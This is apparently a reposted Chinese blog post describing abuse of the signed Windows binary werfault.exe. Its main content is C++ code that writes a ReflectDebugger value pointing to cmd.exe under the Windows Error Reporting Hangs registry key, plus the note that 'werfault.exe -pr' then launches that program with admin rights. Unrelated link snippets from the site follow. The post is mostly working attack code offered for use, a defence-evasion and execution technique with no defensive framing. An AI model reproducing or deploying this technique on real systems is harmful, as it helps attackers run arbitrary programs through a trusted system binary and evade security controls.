【系统白程序利用】werfault.exe

【系统白程序利用】werfault.exe#include"stdafx.h"#include<windows.h>int_tmain(intargc,_TCHAR*argv[]){//Getrootkeyhandle.HKEYhRoot=nullptr;LPCTSTRlpSubKey=L"Software\\Microsoft\\Windows\\Wi…

大家好,又见面了,我是你们的朋友全栈君。

#include "stdafx.h"
#include <windows.h>


int _tmain(int argc, _TCHAR* argv[])
{

    // Get root key handle.
    HKEY hRoot = nullptr;
    LPCTSTR lpSubKey = L"Software\\Microsoft\\Windows\\Windows Error Reporting";
    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, KEY_ALL_ACCESS, &hRoot) != ERROR_SUCCESS)
    {
        wprintf(L"Open root key <%s> failed!\n", lpSubKey);
    }

    // Create subKey.
    HKEY hResult = nullptr;
    lpSubKey = L"Hangs";
    DWORD despostion = NULL;
    if (RegCreateKeyEx(hRoot, lpSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hResult, &despostion) != ERROR_SUCCESS)
    {
        wprintf(L"Create key <%s> failed!\n", lpSubKey);
    }
    else
    {
        if (despostion == REG_CREATED_NEW_KEY)
        {
            printf("Create new key successfuly!\n");
        }

        if (despostion == REG_OPENED_EXISTING_KEY)
        {
            printf("Opened new key successfuly!\n");
        }
    }



    // Set subkey value.
    LPCTSTR lpValueName = L"ReflectDebugger";
    LPCTSTR lpData = L"c:\\windows\\system32\\cmd.exe";
    if (RegSetValueEx(hResult, lpValueName, 0, REG_SZ, (const byte*)lpData, (_tcslen(lpData)+1) * sizeof(TCHAR)) != ERROR_SUCCESS)
    {
        printf("Set key value failed!\n");
        return 0;
    }
    else
    {
        printf("Reg Add Successfully!\n");
    }


    system("pause");
    return 0;
}

添加注册表成功后,调用werfault.exe -pr ,werfault会启动注册表中填写的可执行程序。

上面代码需要用管理员权限编译运行

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/149716.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • windows10查看端口被占用_win10端口被占用怎么解决

    windows10查看端口被占用_win10端口被占用怎么解决1、查看windows所有端口进程同时按下Win+R,接着在对话框中输入“cmd”,按下回车键打开命令提示符窗口,然后在窗口中输入netstat-ano按下回车键,之后就会显示所有的端口占用情况。2、如果是要查询指定的端口占用情况的话,可以在命令提示符窗口中继续输入netstat-aon|findstr”提示的端口”这里的提示的端口假设为8080,那么就输入命令netstat-aon|findstr”8080″按下回车键之后就可以看见列表中的PID然后.

    2022年7月27日
    19
  • 谈谈 Java 中自定义注解及使用场景

    点击上方“全栈程序员社区”,星标公众号 重磅干货,第一时间送达 作者:快给我饭吃 www.jianshu.com/p/a7bedc771204 Java自定义注解一般使用场景为:自…

    2021年6月24日
    80
  • 传统线程技术(一)

    传统线程技术(一)

    2022年1月25日
    39
  • shell编程100例(附PDF下载)「建议收藏」

    shell编程100例(附PDF下载)「建议收藏」1、编写helloworld脚本#!/bin/bash#编写helloworld脚本echo”HelloWorld!”2、通过位置变量创建Linux系统账户及密码#!/bin/bash#通过位置变量创建Linux系统账户及密码#$1是执行脚本的第一个参数,$2是执行脚本的第二个参数useradd”$1″echo”…

    2022年10月3日
    3
  • yum命令安装wget无法安装

    yum命令安装wget无法安装通过yum-yinstallwget安装wget失败,先执行下面命令curl-o/etc/yum.repos.d/CentOS-Base.repohttp://mirrors.aliyun.com/repo/Centos-7.repo而后再执行yum-yinstallwget

    2022年10月9日
    2
  • Linux 移动或复制文件(文件夹)[通俗易懂]

    Linux 移动或复制文件(文件夹)[通俗易懂]Linux移动或复制文件(文件夹)命令格式:cp-rf/home/backup/default/Public/Public/复制/home/backup/default/Public文件夹到当前文件夹下补充cp该命令的各选项含义如下-a该选项通常在拷贝目录时使用。它保留链接、文件属性,并递归地拷贝目录,其作用等于dpR选项的组合。  -d拷贝时保留链接。…

    2022年10月5日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号